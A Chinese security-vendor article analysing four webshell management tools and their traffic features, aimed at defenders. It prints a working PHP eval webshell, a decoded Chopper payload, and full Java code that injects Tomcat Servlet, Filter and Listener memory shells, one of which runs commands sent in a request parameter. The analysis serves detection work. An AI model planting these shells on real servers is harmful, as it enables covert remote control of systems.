Sec Hotspot 首页  友情链接  收藏本站  技术博客  RSS
统计信息
已收录文章数量:13935 篇
已收录公众号数量:68 个
本站文章为爬虫采集,如有侵权请告知
本周热门文章
分享图片   2021.04.14 16:51:17  312
Chrome V8 RCE 0day之WeChatWeb   2021.04.17 16:40:17  131
面试官常考的 21 条 Linux 命令   2021.04.12 08:00:59  109
Windows手工入侵排查思路   2021.04.13 08:00:49  93
近期CNVD重大漏洞汇总   2021.04.15 18:20:29  70
四大主流WebShell管理工具分析 | 防守方攻略
本文来自公众号:深信服千里目安全实验室   2021.04.02 18:02:09

在网络安全实战攻防演练中,只有了解攻击方的攻击思路和运用武器,防守方才能有效应对。以WebShell 为例,由于企业对外提供服务的应用通常以Web形式呈现,因此Web站点经常成为攻击者的攻击目标。攻击者找到Web站点可利用的漏洞后,通常会在Web站点植入WebShell程序,从而实现对目标站点的控制。为了躲避防守方的检测,攻击方加密WebShell成为常态,由于流量加密,传统的WAF、WebIDS设备难以检测,给防守方监控带来巨大的挑战。因此,防守方需要了解攻击方使用的加密武器,才能找到相应的破解方式。


本文将通过分析目前攻击方常用的四大主流WebShell管理工具:中国菜刀、中国蚁剑、冰蝎Shell管理工具、哥斯拉Shell管理工具,探讨其加密特征,为防守方提供一些新的检测思路


文章目录

一、 中国菜刀

1、 服务器

2、 配置

3、 通信流量

4、 检测

二、 中国蚁剑

1、 服务器

2、 配置

3、 通信流量

4、 检测

三、冰蝎Shell管理工具

1、服务器

2、配置

3、通信流量

4、检测

四、哥斯拉Shell管理工具

1、WebShell 连接

2、流量端检测思路

3、内存马

中国菜刀

中国菜刀(Chopper)是一款经典的网站管理工具,具有文件管理、数据库管理、虚拟终端等功能。

服务端

<?php eval($_POST["Sp4ar"]);?>

其中 ‍Sp4ar 是连接密码,可以随意更改。也可对服务端做一些混淆操作,防止被查杀。

配置

<T>类型</T> 类型可为MYSQL,MSSQL,ORACLE,INFOMIX中的一种<H>主机地址<H> 主机地址可为机器名或IP地址,如localhost<U>数据库用户</U> 连接数据库的用户名,如root<P>数据库密码</P> 连接数据库的密码,如123456<L>编码类型</L> utf8,gbk等数据编码类型ASP和ASP.NET脚本:<T>类型</T> 类型只能填ADO<C>ADO配置信息</C>ADO连接各种数据库的方式不一样。如MSSQL的配置信息为Driver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd=123456

在设置好配置之后可以对网站数据库,文件等进行管理。

通信流量

POST /u.php HTTP/1.1X-Forwarded-For: 1*.***.*.***Referer: http://1*.***.*.***Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)Host: 1*.***.*.***Content-Length: 690Connection: CloseCache-Control: no-cacheCookie: PHPSESSID=m4mi07jn4u6cd3gmhdt97fmq55
Sp4ar=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D


(1)请求侧

从payload中可以看出,eval后面卡了一个%01的字符,这样的语法在高版本的php中无法执行,低版本抛出warning后正常执行。获取z0的值并进行base64解码之后传入eval执行,z0解码之后的内容为:

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();


(2)响应侧

从请求侧的代码来看,执行结果会被包裹在->| |<-中,抓包查看:

检测

文件检测:通过静态文件的方式进行WebShell查杀。

流量检测:通过检测通信中的eval,base64_decode等关键字。

中国蚁剑

中国蚁剑与中国菜刀相比,界面更加美观、功能更加齐全,并且自定义的程度更高且开放源代码。

服务端

中国蚁剑的服务端会根据不同编码器有所变化,但还是从最基础的开始分析:

<?php eval($_POST["Sp4ar"]);?> //pwd表示连接密码,可以随意更换

配置

编辑/新增记录的时候可以自定义头部字段,选择编/解码器以及一些其他设置。 中国蚁剑默认的UA头是antSword/v版本号,目前已经被很多安全产品标记 ,所以在配置的时候通常会更改,改UA头的方式有两种:一、添加Shell的时候在请求信息中添加User-Agent字段覆盖掉原始的值,二、在modules/request.js修改USER_AGENT的值。第一种方法只针对当前添加的记录生效,第二种方法针对所有的shell都生效。


中国蚁剑的编/解码器可以对请求/响应侧的流量进行编/解码以绕过流量检测,在最新版的中国蚁剑中(v2.1.11)默认的编码器有五个,解码器有三个。


(1)编码器

编码器是在发送数据到服务端之前对payload进行相关处理,目的是为了绕过请求侧的流量检测,默认的编码器:

  • default编码器:不对传输的payload进行任何操作。

  • base64编码器:对payload进行base64编码。

  • chr编码器:对payload的所有字符都利用利用chr函数进行转换。

  • chr16编码器:对payload的所有字符都利用chr函数转换,与chr编码器不同的是chr16编码器对chr函数传递的参数是十六进制。

  • rot13编码器:对payload中的字母进行rot13转换。

  • 以上五种编码为中国蚁剑自带的,不需要配置就可以直接使用,除此之外,还存在一个RSA编码器,该编码器将

  • RSA编码器:该编码器默认不展示,需要自己配置。配置方法:在编码管理界面点击生成RSA配置生成公钥、私钥和PHP代码,然后点击新建编码器选择PHP RSA之后输入编码器的名字即可。


(2)解码器

解码器主要是对接收到的数据进相关处理,目的是为了绕过响应侧的流量检测,默认的解码器:

  • default解码器:不对响应数据进行处理。

  • base64解码器:将收到的数据进行base64解码。

  • rot13解码器:将收到的数据进行rot13转换,由于英文字母一共26个所以置换两次之后会还原。

通信流量

(1) 请求侧

针对不同编码器请求侧的流量有所不同

默认编码器发送的数据如下:

base64编码器发送数据如下:

chr:

chr16:

rot13:

rsa:


(2)响应侧

采用不同解码器响应方向的数据也不同。

default:

base64:

rot13:

检测

1. 文件检测:通过静态文件的方式进行WebShell查杀

2. 流量检测:针对不同的编码器流量特征不相同。


针对前面1.2.1中的前五种编码器,可以检测关键字。

针对rsa编码器:由于数据完全加密所以无法使用关键字检测。仔细观察加密之后的数据可以知道:在长度足够的情况下,每相隔固定的长度就会出现一个|字符,分析编码器可知,加密时是先将原始的payload进行分段然后对每一个段进行加密并以base64的格式输出。在rsa加密算法中密文长度等于密钥长度,明文长度不超过密钥长度。由于payload长度比密文长很多所以在加密是必须切割,但是无论怎么切割加密之后的数据长度都是都是固定的,所以在检测的时候可以根据这一特性来进行检测。由于输出结果是base64编码的所以每一个段的数据的字符都是在a-zA-Z0-9+=/之间,每一个段之间都有一个分隔符,当密钥长度是1024位的时候,每个段的明文长度是172,该编码器默认生成的长度是1024且在前端无法更改,但是可以通过替换antData目录下的key_rsa和key_rsa.pub两个文件来更换密钥长度,这两个文件可以通过openssl生成。


生成方式如下:

1.    生成rsa私钥

openssl genrsa -out key_rsa 2048

2.   生成公钥

openssl rsa -in key_rsa -pubout -out key_rsa.pub

然后分别替换key_rsa和key_rsa.pub即可。 替换之后可以发现每个分段的长度明显增加从之前的172变成344,当密钥长度增加到3072时,分段长度增加到512,同时加密所需时间明显增加。

冰蝎Shell管理工具

冰蝎Shell管理工具一款流行的,采用二进制动态加密传输数据的网站管理工具。

服务端

相关链接:

《利用动态二进制加密实现新型一句话木马之Java篇》:

https://xz.aliyun.com/t/2744

《利用动态二进制加密实现新型一句话木马之.NET篇》:

https://xz.aliyun.com/t/2758

《利用动态二进制加密实现新型一句话木马之PHP篇》:

https://xz.aliyun.com/t/2774

配置

目前冰蝎Shell管理工具的配置仅支持代理和自定义HTTP头部。

通信流量

(1)请求侧

(2)响应侧

检测

1. 文件检测:文件的特征主要在解密算法部分和执行payload的部分。


2. 流量检测:由于最新版冰蝎Shell管理工具这个交互过程都采用加密传输,无法采用检测关键字的方法进行检测。相比于2.0的版本,3.0去除了协商密钥的过程,但这带来了一个问题就是,整个过程的密钥是不变的,同时分析冰蝎的源码可以发现:在传输php,jsp,aspx时前面的字段是固定的,这就导致了在一个WebShell中每一个流的前面的字节都是相同,php前面是assert|eval(base64_decode(、csharp是dll文件的头部格式、java则是class文件的头部格式。由于asp(php无法加载openssl时)采用异或对payload进行运算,根据异或的特征(两次异或即还原数据)可以使用密文以原始的payload的前十六位进行异或得到的就是密钥,再用密钥对整体数据进行解密即可还原出明文。


3. 异常进程检测:当冰蝎Shell管理工具执行命令是可以发现系统中会创建两个进程(父子关系)来执行命令。

当启用虚拟终端时同样如此。

哥斯拉Shell管理工具

哥斯拉Shell管理工具与冰蝎Shell管理工具类似,通信过程都是加密流量,工具界面如下:

WebShell连接

作者已经内置了Payload以及加密器,以JavaDynamicPayload为例,我们生成一个WebShell查看代码。

Unicode解码后代码:

字符串xc为自定义秘钥(pass)MD5的前16位

拼接自定义的密码和秘钥获取md5值, 这里的md5值作为认证密码和密钥,主要代码逻辑如下:

抓取连接Shell地址过程数据包,一共进行了三次请求响应:

JavaAesBase64类初始化方法如下,加解密方法与生成的WebShell相对应:

流量端检测思路

围绕流量测的检测思路,因为其流量加密的特性,其实与冰蝎Shell管理工具想法大致相同,往往需要多种弱特征结合验证,如可以通过分析Shell连接过程的简单固有特征,结合数据统计分析来进行检测等。

内存马

内存马特点:文件无需落地,更加隐蔽。以tomcat为例,内存马分为以下三种:Servlet、Filter、Listener

(1)Servlet内存马

以一个简单的Servletdemo为例,访问url,查看tomcat对应的调用栈如下:


我们知道通过web.xml或者注解的方式可以配置自定义的servlet与url的映射。而在tomcat中,Wrapper等效于Servlet,即我们只要自定义的实现该逻辑,就可实现Servlet内存马。

Servlet3.0开始提供了动态注册filter、Servlet、Listener,这里不再赘述,感兴趣的可以自己调试验证下,主要逻辑为:

创建自定义Servlet

使用Wrapper对应进行封装

添加封装后的Wrapper到StandardContext的children当中

添加ServletMapping将访问的URL和Servlet进行绑定

如 234步骤实现代码如下:

// 获取StandardContext    org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();    StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();

// 用Wrapper对其进行封装 org.apache.catalina.Wrapper newWrapper = standardCtx.createWrapper(); newWrapper.setName("sangfor"); newWrapper.setLoadOnStartup(1); newWrapper.setServlet(servlet); newWrapper.setServletClass(servlet.getClass().getName()); // 添加封装后的恶意Wrapper到StandardContext的children当中 standardCtx.addChild(newWrapper); // 添加ServletMapping将访问的URL和Servlet进行绑定 standardCtx.addServletMapping("/sangfor","sangfor");


(2)Filter内存马

Filter的作用,当配置了Filter后用户的请求会经过FIlter过滤后再执行到Servlet, 如果有多个Filter则会组成一个Filter链, 最后一个Filter再去执行Servlet。

Filter作为过滤器,在过滤器链(filter chain)中,往往为了filter内存马能被正常调用,会把filter内存马优先级调整为最高(放置为首),如shiro反序列化

我们需要动态实现自定义filter,添加到filterChain中。

主要逻辑如下:

1. 获取standardContext

2. 生成FilterDef、生成FilterConfig

3. 用filterDef封装filter,加入到filterConfig中

4. 将filterConfig封装添加到filterChain中

代码如下:

public class FilterBasedBasic extends HttpServlet {    @Override    protected void doGet(HttpServletRequest req, HttpServletResponse resp) {        try{            String filterName = "sangfor";            String urlPattern = "/sangfor";

// 获取 standardContext final ServletContext servletContext = req.getSession().getServletContext();

Field field = servletContext.getClass().getDeclaredField("context"); field.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) field.get(servletContext);

field = applicationContext.getClass().getDeclaredField("context"); field.setAccessible(true); Field modifiersField = Field.class.getDeclaredField("modifiers"); modifiersField.setAccessible(true); modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL); StandardContext standardContext = (StandardContext) field.get(applicationContext);

field = standardContext.getClass().getDeclaredField("filterConfigs"); field.setAccessible(true); HashMap<String, ApplicationFilterConfig> map = (HashMap<String, ApplicationFilterConfig>) field.get(standardContext);

if(map.get(filterName) == null){ System.out.println("[+] Add sangfor Filter");

//生成 FilterDef //由于 Tomcat7 和 Tomcat8 中 FilterDef 的包名不同,为了通用性,这里用反射来写 Class filterDefClass = null; try{ filterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef"); }catch(ClassNotFoundException e){ filterDefClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef"); }

Object filterDef = filterDefClass.newInstance(); filterDef.getClass().getDeclaredMethod("setFilterName", new Class[]{String.class}).invoke(filterDef, new Object[]{filterName}); Filter filter = new FilterTemplate();

filterDef.getClass().getDeclaredMethod("setFilterClass", new Class[]{String.class}).invoke(filterDef, new Object[]{filter.getClass().getName()}); filterDef.getClass().getDeclaredMethod("setFilter", new Class[]{Filter.class}).invoke(filterDef, new Object[]{filter}); standardContext.getClass().getDeclaredMethod("addFilterDef", new Class[]{filterDefClass}).invoke(standardContext, new Object[]{filterDef});

//设置 FilterMap //由于 Tomcat7 和 Tomcat8 中 FilterDef 的包名不同,为了通用性,这里用反射来写 Class filterMapClass = null; try{ filterMapClass = Class.forName("org.apache.catalina.deploy.FilterMap"); }catch (ClassNotFoundException e){ filterMapClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); }

Object filterMap = filterMapClass.newInstance(); filterMap.getClass().getDeclaredMethod("setFilterName", new Class[]{String.class}).invoke(filterMap, new Object[]{filterName}); filterMap.getClass().getDeclaredMethod("setDispatcher", new Class[]{String.class}).invoke(filterMap, new Object[]{DispatcherType.REQUEST.name()}); filterMap.getClass().getDeclaredMethod("addURLPattern", new Class[]{String.class}).invoke(filterMap, new Object[]{urlPattern}); //调用 addFilterMapBefore 会自动加到队列的最前面,不需要原来的手工去调整顺序了 standardContext.getClass().getDeclaredMethod("addFilterMapBefore", new Class[]{filterMapClass}).invoke(standardContext, new Object[]{filterMap});

//设置 FilterConfig Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(new Class[]{Context.class, filterDefClass}); constructor.setAccessible(true); ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(new Object[]{standardContext, filterDef}); map.put(filterName, filterConfig); } }catch(Exception e){ e.printStackTrace(); } }}



(3)Listener内存马

请求站点时,优先级如下,Listener -> Filter -> Servlet,Listener是最先被加载的

当设置了ServletRequestListener时,每次请求都会先进入Listener 进行逻辑判断

Listen监视器分类:

ServletContext监听, 服务启动和停止时触发

Session监听, Session初始化和销毁时触发

Request监听, 访问服务时触发

我们需要通过Request这个点来实现,即ServletRequestListener,主要逻辑:

自定义Listener

调用StandardContext对象的addApplicationEventListener方法来添加Listenner

(直接使用ApplicationContext的addListenner方法来动态添加Listener会进行web容器状态判断)

主要代码如下:

//listenerServletRequestListener demoListener = new ServletRequestListener() { @Override public void requestDestroyed(ServletRequestEvent servletRequestEvent) { } @Override public void requestInitialized(ServletRequestEvent sre) { System.out.println("requestInitialized"); String cmd = sre.getServletRequest().getParameter("cmd"); try{ //获取sre中的requestFacade对象 org.apache.catalina.connector.RequestFacade requestFacade =(org.apache.catalina.connector.RequestFacade)sre.getServletRequest();

//反射获取RequestFacade中的request对象 java.lang.reflect.Field connrequestField =org.apache.catalina.connector.RequestFacade.class.getDeclaredField("request"); connrequestField.setAccessible(true); org.apache.catalina.connector.Request request =(org.apache.catalina.connector.Request) connrequestField.get(requestFacade); //执行命令并回显 String[] cmds =!System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; java.io.InputStream in =Runtime.getRuntime().exec(cmds).getInputStream(); java.util.Scanner s = newjava.util.Scanner(in).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; java.io.Writer writer = request.getResponse().getWriter(); java.lang.reflect.Field usingWriter =request.getResponse().getClass().getDeclaredField("usingWriter"); usingWriter.setAccessible(true); usingWriter.set(request.getResponse(), Boolean.FALSE); writer.write(output); writer.flush(); }catch (Exception e){ e.printStackTrace(); } }};//获取standardContextorg.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase)Thread.currentThread().getContextClassLoader();org.apache.catalina.core.StandardContext standardCtx =(org.apache.catalina.core.StandardContext)webappClassLoaderBase.getResources().getContext();//添加监听器standardCtx.addApplicationEventListener(demoListener);



(4)哥斯拉Shell管理工具实现内存马

我们再回过头来看下哥斯拉Shell管理工具中内存马的实现,内部实现了不同webshell的内存马,使用jd-gui工具打开class文件,可以看到,C刀,冰蝎不同shell的实现逻辑大相径庭,根据其shell管理工具进行了修改:

(5)内存马检测

有了其攻击手段的实现,防御检测思路也不断更新替换,上述也仅仅是tomcat的实现思路,不同容器框架的具体实现也需要对应的进行封装修改,但其思路大致相同。


万变不离其宗,在主机侧,我们可以通过以下维度是进行检测:

  • 攻击行为固有行为特征

  • 不同于正常业务的特殊共性

  • 高危敏感行为检测


网上已有不少主机侧检测思路,如:

  • 核心特点均会是被加载进jvm的类,即思路为遍历获取每个类,通过类黑名单、高危风险类筛选检测

  • 内存马不落地,即本地不存在对应class文件,攻击者又会在内存马中放置危险操作这两个特性,检测对应ClassLoader目录文件是否存在class文件。我们再dump对应class(如filter)进行check


我们也可以通过RASP技术注入监测阻断恶意敏感操作,也可以达到比较好的类隔离效果。

总结

安全本质上就是一个攻防对抗的过程,随着攻击方式的不断升级变形,防守也在不是一成不变,固守单一防御检测手段,只会止步不前。而在WebShell检测领域,随着WebShell的更新迭代,流量测加密、更加隐蔽攻击手段已成为趋势,防守方不仅要在流量检测方面提升效果,在主机侧检测也需同步更新升级,相信在不久的未来,检测防御WebShell的技术也会更加成熟有效。

参考链接

https://www.freebuf.com/sectool/252840.html

http://li9hu.top/tomcat%E5%86%85%E5%AD%98%E9%A9%AC%E4%B8%80-%E5%88%9D%E6%8E%A2/

https://my.oschina.net/u/4593189/blog/4805061

https://github.com/feihong-cs/memShell

https://gv7.me/articles/2020/kill-java-web-filter-memshell/


值得一提的 是, 深信服结合大量实战案例分析,发布「二四二」网络安全攻防实战演练防守方案 ,有效帮助用户提升网络安全防御能力,实现「始于演练,静于实战」。

扫二维码 或者点击 「阅读原文」 ,获取 深信服「二四二」网络安全攻击实战演练防守方案 详情免费咨询。


深信服「二四二」网络安全攻击实战演练防守方案


深信服科技旗下安全实验室,致力于网络安全攻防技术的研究和积累,深度洞察未知网络安全威胁,解读前沿安全技术。